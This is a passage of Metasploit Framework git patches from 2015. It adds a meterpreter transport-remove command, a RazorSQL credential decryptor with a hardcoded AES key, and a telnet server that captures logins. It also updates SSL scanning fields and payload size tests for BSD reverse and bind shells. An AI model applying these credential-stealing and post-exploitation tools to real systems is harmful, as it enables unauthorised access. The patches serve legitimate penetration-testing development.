framework.auxiliary.create('scanner/vmware/vmware_http_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_asterisk_login + mod = framework.auxiliary.create('voip/asterisk_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def run + self.methods.each do |m| + next if m.to_s !~ /^test_.+/ + print_status("Trying: ##{m.to_s}") + begin + self.send(m) + print_good("That didn't blow up. Good!") + rescue ::Exception => e + print_error("That blew up :-(") + print_line("#{e.class} #{e.message}\n#{e.backtrace*"\n"}") + ensure + print_line + end + end + end + +end From 9573c7e415975ab9210d2fc8e73874c08e56a051 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 16 Jun 2015 11:38:59 +1000 Subject: [PATCH 0419/1013] Implement transport remove --- lib/rex/post/meterpreter/client_core.rb | 10 ++++++++++ .../ui/console/command_dispatcher/core.rb | 12 ++++++++++-- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 2ed0d19202..4d6f5ad1e2 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -325,6 +325,16 @@ class ClientCore < Extension return Rex::Text.md5(mid) end + def transport_remove(opts={}) + request = transport_prepare_request('core_transport_remove', opts) + + return false unless request + + client.send_request(request) + + return true + end + def transport_add(opts={}) request = transport_prepare_request('core_transport_add', opts) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 654b44c5ec..b9e151cf0d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -561,13 +561,14 @@ class Console::CommandDispatcher::Core # Display help for transport management. # def cmd_transport_help - print_line('Usage: transport [options]') + print_line('Usage: transport [options]') print_line print_line(' list: list the currently active transports.') print_line(' add: add a new transport to the transport list.') print_line(' change: same as add, but changes directly to the added entry.') print_line(' next: jump to the next transport in the list (no options).') print_line(' prev: jump to the previous transport in the list (no options).') + print_line(' remove: remove an existing, non-active transport.') print_line(@@transport_opts.usage) end @@ -581,7 +582,7 @@ class Console::CommandDispatcher::Core end command = args.shift - unless ['list', 'add', 'change', 'prev', 'next'].include?(command) + unless ['list', 'add', 'change', 'prev', 'next', 'remove'].include?(command) cmd_transport_help return end @@ -733,6 +734,13 @@ class Console::CommandDispatcher::Core else print_error("Failed to add transport, please check the parameters") end + when 'remove' + print_status("Removing transport ...") + if client.core.transport_remove(opts) + print_good("Successfully removed #{opts[:transport]} transport.") + else + print_error("Failed to remove transport, please check the parameters") + end end end From eb39eaac1d00aec1cada9056a5f543704c8262f6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 15 Jun 2015 23:28:10 -0500 Subject: [PATCH 0420/1013] Add support to decryption v2 --- .../windows/gather/credentials/razorsql.rb | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 4e7231c840..a01bb9b7b8 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' +require 'openssl' class Metasploit3 < Msf::Post @@ -138,7 +139,13 @@ class Metasploit3 < Msf::Post pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip # Decrypt if there's a password - decrypted_pass = decrypt(pass) unless pass.blank? + unless pass.blank? + if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/ + decrypted_pass = decrypt_v2($1) + else + decrypted_pass = decrypt(pass) + end + end pass = decrypted_pass ? decrypted_pass : pass @@ -191,8 +198,20 @@ class Metasploit3 < Msf::Post password << char end - return password + password end + + def decrypt_v2(encrypted) + enc = Rex::Text.decode_base64(encrypted) + key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==') + + aes = OpenSSL::Cipher.new('AES-128-CBC') + aes.decrypt + aes.key = key + + aes.update(enc) + aes.final + end + end =begin From b6379b4d2471761c2e5182ae25d4bf769cd13f02 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Jun 2015 00:02:02 -0500 Subject: [PATCH 0421/1013] Update drupal_views_user_enum --- .../scanner/http/drupal_views_user_enum.rb | 13 +++++-------- test/modules/auxiliary/test/report_auth_info.rb | 2 +- 2 files changed, 6 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index daba1a4646..938f0f4718 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -75,9 +75,7 @@ class Metasploit3 < Msf::Auxiliary credential_data = { origin_type: :service, module_fullname: fullname, - username: opts[:user], - private_data: opts[:password], - private_type: :password + username: opts[:user] }.merge(service_data) login_data = { @@ -129,11 +127,10 @@ class Metasploit3 < Msf::Auxiliary final_results.each do |user| print_good("Found User: #{user}") - report_auth_info( - :host => Rex::Socket.getaddress(datastore['RHOST']), - :port => datastore['RPORT'], - :user => user, - :type => "drupal_user" + report_cred( + ip: Rex::Socket.getaddress(datastore['RHOST']), + port: datastore['RPORT'], + user: user ) end diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 3044a2d06e..9364d6e766 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary def test_drupal_views_user_enum mod = framework.auxiliary.create('scanner/http/drupal_views_user_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER) end def test_dolibarr_login From 2778274e478821df2ffe8daa8a37ebfd4bbe9a79 Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Tue, 16 Jun 2015 02:59:12 -0400 Subject: [PATCH 0422/1013] Added new SSL Labs API fields and fixed minor errors --- modules/auxiliary/gather/ssllabs_scan.rb | 52 +++++++++++++++++++----- 1 file changed, 42 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index c763058e9d..495f3f477b 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -180,9 +180,12 @@ class Metasploit3 < Msf::Auxiliary :crlURIs, :ocspURIs, :revocationStatus, + :crlRevocationStatus, + :ocspRevocationStatus, :sgc?, :validationType, - :issues + :issues, + :sct?, def valid? issues == 0 @@ -196,10 +199,19 @@ class Metasploit3 < Msf::Auxiliary class ChainCert < ApiObject has_fields :subject, :label, + :notBefore, + :notAfter, :issuerSubject, :issuerLabel, + :sigAlg, :issues, - :raw + :keyAlg, + :keySize, + :keyStrength, + :revocationStatus, + :crlRevocationStatus, + :ocspRevocationStatus, + :raw, def valid? issues == 0 @@ -354,6 +366,8 @@ class Metasploit3 < Msf::Auxiliary :npnProtocols, :sessionTickets, :ocspStapling?, + :staplingRevocationStatus, + :staplingRevocationErrorMessage, :sniRequired?, :httpStatusCode, :httpForwarding, @@ -364,8 +378,11 @@ class Metasploit3 < Msf::Auxiliary has_fields :heartbleed?, :heartbeat?, :openSslCcs, + :poodle?, :poodleTls, - :fallbackScsv? + :fallbackScsv?, + :freak?, + :hasSct end class Endpoint < ApiObject @@ -375,6 +392,7 @@ class Metasploit3 < Msf::Auxiliary :statusDetails, :statusDetailsMessage, :grade, + :gradeTrustIgnored, :hasWarnings?, :isExceptional?, :progress, @@ -408,7 +426,7 @@ class Metasploit3 < Msf::Auxiliary SSL/TLS assessment during a penetration test. }, 'License' => MSF_LICENSE, - 'Author' => + 'Author' => [ 'Denis Kolegov ', 'Francois Chagnon' # ssllab.rb author (https://github.com/Shopify/ssllabs.rb) @@ -472,6 +490,8 @@ class Metasploit3 < Msf::Auxiliary report_bad "Overall rating: #{r.grade} - Server's certificate is not trusted" end + report_warning "Grade is #{r.grade_trust_ignored}, if trust issues are ignored)" if r.grade.to_s != r.grade_trust_ignored.to_s + # Supported protocols r.details.protocols.each do |i| p = ssl_protocols.detect { |x| x[:id] == i.id } @@ -511,7 +531,12 @@ class Metasploit3 < Msf::Auxiliary report_good "BEAST attack - No" end - # puts "POODLE (SSLv3)- ?" + # POODLE (SSLv3) + if r.details.poodle? + report_bad "POODLE SSLv3 - Vulnerable" + else + report_good "POODLE SSLv3 - Not vulnerable" + end # POODLE TLS case r.details.poodle_tls @@ -520,16 +545,23 @@ class Metasploit3 < Msf::Auxiliary when 0 report_warning "POODLE TLS - Unknown" when 1 - report_good "POODLE TLS - No" + report_good "POODLE TLS - Not vulnerable" when 2 - report_bad "POODLE TLS - Yes" + report_bad "POODLE TLS - Vulnerable" end # Downgrade attack prevention if r.details.fallback_scsv? - report_good "Downgrade attack prevention - Yes" + report_good "Downgrade attack prevention - Yes, TLS_FALLBACK_SCSV supported" else - report_bad "Downgrade attack prevention - No" + report_bad "Downgrade attack prevention - No, TLS_FALLBACK_SCSV not supported" + end + + # Freak + if r.details.freak? + report_bad "Freak - Vulnerable" + else + report_good "Freak - Not vulnerable" end # RC4 @@ -553,7 +585,7 @@ class Metasploit3 < Msf::Auxiliary if r.details.heartbleed? report_bad "Heartbleed (vulnerability) - Yes" else - report_good "Heartbeat (vulnerability) - No" + report_good "Heartbleed (vulnerability) - No" end # OpenSSL CCS From c3d2797f100269b29bfc44856cdb843fad59abee Mon Sep 17 00:00:00 2001 From: Denis Kolegov Date: Tue, 16 Jun 2015 04:22:22 -0400 Subject: [PATCH 0423/1013] Fixed Info fields --- modules/auxiliary/gather/ssllabs_scan.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 495f3f477b..0eb62bd5e6 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -224,12 +224,7 @@ class Metasploit3 < Msf::Auxiliary class Chain < ApiObject has_objects_list :certs, ChainCert - has_fields :subject, - :label, - :issuerSubject, - :issuerLabel, - :issues, - :raw + has_fields :issues def valid? issues == 0 @@ -747,7 +742,6 @@ class Metasploit3 < Msf::Auxiliary def run delay = datastore['DELAY'] - hostname = datastore['HOSTNAME'] unless valid_hostname?(hostname) print_status "Invalid hostname" From aef3a17b20d927d7b18c29e1ee87d6ae50f6c1e5 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 16 Jun 2015 04:43:08 -0400 Subject: [PATCH 0424/1013] payloads added to payload_spec.rb --- spec/modules/payloads_spec.rb | 40 +++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 15ee3b21d9..3837f0577c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -286,6 +286,16 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/exec' end + context 'bsd/x64/shell_bind_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_ipv6_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_ipv6_tcp' + end + context 'bsd/x64/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -296,6 +306,26 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/shell_bind_tcp' end + context 'bsd/x64/shell_bind_tcp_small' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_tcp_small' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_tcp_small' + end + + context 'bsd/x64/shell_reverse_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_ipv6_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_ipv6_tcp' + end + context 'bsd/x64/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -306,6 +336,16 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x64/shell_reverse_tcp' end + context 'bsd/x64/shell_reverse_tcp_small' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_tcp_small' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_tcp_small' + end + context 'bsdi/x86/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From a99b001bd7ea85a8b4d3048706f7a7d657a339f7 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 16 Jun 2015 05:33:30 -0400 Subject: [PATCH 0425/1013] payloads_spec.rb modified, payloads added --- Gemfile.lock | 3 + .../singles/bsd/x64/shell_bind_ipv6_tcp.rb | 2 + .../singles/bsd/x64/shell_bind_tcp_small.rb | 2 + .../singles/bsd/x64/shell_reverse_ipv6_tcp.rb | 2 + .../bsd/x64/shell_reverse_tcp_small.rb | 2 + spec/modules/payloads_spec.rb | 140 +++++++++--------- 6 files changed, 81 insertions(+), 70 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 20788623a7..3e5d929d53 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -247,3 +247,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.3 diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index 2738f294ab..b5ab5d45cc 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -10,6 +10,8 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 + CachedSize = 89 + include Msf::Payload::Single include Msf::Payload::Bsd include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index afe41f1e11..c80ec4dfe5 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -10,6 +10,8 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 + CachedSize = 87 + include Msf::Payload::Single include Msf::Payload::Bsd include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb index 7a44baa7e7..368d6f9666 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb @@ -10,6 +10,8 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 + CachedSize = 105 + include Msf::Payload::Single include Msf::Payload::Bsd include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb index 1641309826..98ef6fb778 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb @@ -10,6 +10,8 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 + CachedSize = 81 + include Msf::Payload::Single include Msf::Payload::Bsd include Msf::Sessions::CommandShellOptions diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 3837f0577c..50b07c1c36 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -131,6 +131,76 @@ describe 'modules/payloads', :content do reference_name: 'bsd/sparc/shell_reverse_tcp' end + context 'bsd/x64/exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/exec' + end + + context 'bsd/x64/shell_bind_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_ipv6_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_ipv6_tcp' + end + + context 'bsd/x64/shell_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_tcp' + end + + context 'bsd/x64/shell_bind_tcp_small' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_bind_tcp_small' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_bind_tcp_small' + end + + context 'bsd/x64/shell_reverse_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_ipv6_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_ipv6_tcp' + end + + context 'bsd/x64/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_tcp' + end + + context 'bsd/x64/shell_reverse_tcp_small' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/shell_reverse_tcp_small' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/shell_reverse_tcp_small' + end + context 'bsd/x86/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -276,76 +346,6 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x86/shell_reverse_tcp_ipv6' end - context 'bsd/x64/exec' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/exec' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/exec' - end - - context 'bsd/x64/shell_bind_ipv6_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_bind_ipv6_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_bind_ipv6_tcp' - end - - context 'bsd/x64/shell_bind_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_bind_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_bind_tcp' - end - - context 'bsd/x64/shell_bind_tcp_small' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_bind_tcp_small' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_bind_tcp_small' - end - - context 'bsd/x64/shell_reverse_ipv6_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_reverse_ipv6_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_reverse_ipv6_tcp' - end - - context 'bsd/x64/shell_reverse_tcp' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_reverse_tcp' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_reverse_tcp' - end - - context 'bsd/x64/shell_reverse_tcp_small' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/bsd/x64/shell_reverse_tcp_small' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'bsd/x64/shell_reverse_tcp_small' - end - context 'bsdi/x86/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From fcf6212d2f3c6fd55dbf7d2b4cc0628c428175f0 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 16 Jun 2015 16:37:36 +0500 Subject: [PATCH 0426/1013] Update telnet capture module to use the new creds API --- modules/auxiliary/server/capture/telnet.rb | 58 +++++++++++++++------- 1 file changed, 41 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index 74d1e6cbf2..d1cabac7e4 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 23 ]) + OptPort.new('SRVPORT', [true, 'The local port to listen on.', 23]), + OptString.new('BANNER', [false, 'The server banner to display when client connects']) ], self.class) end @@ -39,6 +40,10 @@ class Metasploit3 < Msf::Auxiliary @state = {} end + def banner + datastore['BANNER'] || 'Welcome' + end + def run print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...") exploit() @@ -59,7 +64,6 @@ class Metasploit3 < Msf::Auxiliary def on_client_data(c) data = c.get_once - return if not data offset = 0 @@ -72,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary # except for echoing which we WILL control for # the password - reply = "\xffX#{data[x + 2].chr}" + reply = "\xff#{data[x + 2].chr}" if @state[c][:pass] and data[x + 2] == 0x01 reply[1] = "\xfb" @@ -89,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary end if not @state[c][:started] - c.put "\r\nWelcome.\r\n\r\n" + c.put "\r\n#{banner}\r\n\r\n" @state[c][:started] = true end @@ -106,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary if not @state[c][:gotuser] @state[c][:user] = data.strip @state[c][:gotuser] = true - c.put "\xff\xfb\x01" # WILL ECHO + c.put "\xff\xfc\x01" # WON'T ECHO end if @state[c][:pass].nil? @@ -121,23 +125,43 @@ class Metasploit3 < Msf::Auxiliary c.put "\x00\r\n" end - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'telnet', - :user => @state[c][:user], - :pass => @state[c][:pass], - :source_type => "captured", - :active => true - ) - print_status("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") - c.put "\r\nLogin failed\r\n\r\n" - + report_cred( + ip: @state[c][:ip], + port: datastore['SRVPORT'], + service_name: 'telnet', + user: @state[c][:user], + password: @state[c][:pass] + ) c.close end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_close(c) @state.delete(c) end From 9dbdaf13ea2af65e641d5ec0d109f0c38b8fd5fe Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 17 Jun 2015 00:20:59 +1000 Subject: [PATCH 0427/1013] Add AutoVerifySessionTimeout Meterpreter advanced option --- lib/msf/base/sessions/meterpreter_options.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index aa0b5c4136..b070950371 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -13,6 +13,7 @@ module MeterpreterOptions [ OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), + OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 10]), OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), @@ -43,7 +44,7 @@ module MeterpreterOptions valid = true if datastore['AutoVerifySession'] == true - if not session.is_valid_session? + if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) print_error("Meterpreter session #{session.sid} is not valid and will be closed") valid = false end From 67065e104ae94638dcdaa450aee5b65cac58583a Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 16 Jun 2015 11:05:03 -0500 Subject: [PATCH 0428/1013] Update database.yml.example to ref MSF-DEV We no longer rely on the Fedora Project's documentation for setting up a PostgreSQL database. The comment doc here should reflect this change. --- config/database.yml.example | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/config/database.yml.example b/config/database.yml.example index dfcb0c9213..060dd23625 100644 --- a/config/database.yml.example +++ b/config/database.yml.example @@ -3,8 +3,7 @@ # these days. (No SQLite, no MySQL). # # To set up a metasploit database, follow the directions hosted at: -# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on -# essentially any Linux distro, not just Fedora) +# http://r-7.co/MSF-DEV#set-up-postgresql development: &pgsql adapter: postgresql database: metasploit_framework_development From 3410782fe96ccd14831106e7d47fb40483135303 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 16 Jun 2015 11:52:42 +0100 Subject: [PATCH 0429/1013] Capitalized 'Accepted' --- features/modules/exploit/smb/ms08_067_netapi.feature | 4 ++-- lib/msf/core/opt_enum.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index f8c30e7e59..e23730be1c 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -148,12 +148,12 @@ Feature: MS08-067 netapi Name : SSLVerifyMode Current Setting: PEER - Description : SSL verification method (accepted: CLIENT_ONCE, + Description : SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER) Name : SSLVersion Current Setting: SSL3 - Description : Specify the version of SSL that should be used (accepted: SSL2, + Description : Specify the version of SSL that should be used (Accepted: SSL2, SSL3, TLS1) Name : VERBOSE diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb index 74fdbe1c27..bfe0754ecf 100644 --- a/lib/msf/core/opt_enum.rb +++ b/lib/msf/core/opt_enum.rb @@ -35,7 +35,7 @@ class OptEnum < OptBase if self.enums str = self.enums.join(', ') end - "#{self.desc_string || ''} (accepted: #{str})" + "#{self.desc_string || ''} (Accepted: #{str})" end From 33139c4ecd8047c3c98544ed356eb8d2fc729bc7 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 16 Jun 2015 20:42:47 +0100 Subject: [PATCH 0430/1013] shell_to_meterpreter minor improvements --- .../post/multi/manage/shell_to_meterpreter.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index c06e5f8c46..401063598b 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -29,19 +29,19 @@ class Metasploit3 < Msf::Post register_options( [ OptAddress.new('LHOST', - [false, 'IP of host that will receive the connection from the payload.']), + [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]), OptInt.new('LPORT', - [false, 'Port for payload to connect to.', 4433]), + [true, 'Port for payload to connect to.', 4433]), OptBool.new('HANDLER', [ true, 'Start an exploit/multi/handler to receive the connection', true]) ], self.class) register_advanced_options([ OptInt.new('HANDLE_TIMEOUT', - [false, 'How long to wait for the session to come back', 30]), - OptString.new('WIN_TRANSFER', - [false, 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS', 'POWERSHELL']), - OptString.new('PAYLOAD_OVERWRITE', - [false, 'Overwrite the default payload', nil]) + [true, 'How long to wait (in seconds) for the session to come back.', 30]), + OptEnum.new('WIN_TRANSFER', + [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]), + OptString.new('PAYLOAD_OVERRIDE', + [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]) ], self.class) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post print_status("Upgrading session ID: #{datastore['SESSION']}") if session.type =~ /meterpreter/ - print_error("Shell type is already Meterpreter.") + print_error("Shell is already Meterpreter.") return nil end From f2e2af1c421bd7582c4edc6735acf8ffd817104f Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 16 Jun 2015 18:37:32 -0500 Subject: [PATCH 0431/1013] Remove msfencode from the gemspec --- metasploit-framework.gemspec | 1 - 1 file changed, 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 376f22f6b6..b528c3ba13 100644 --- 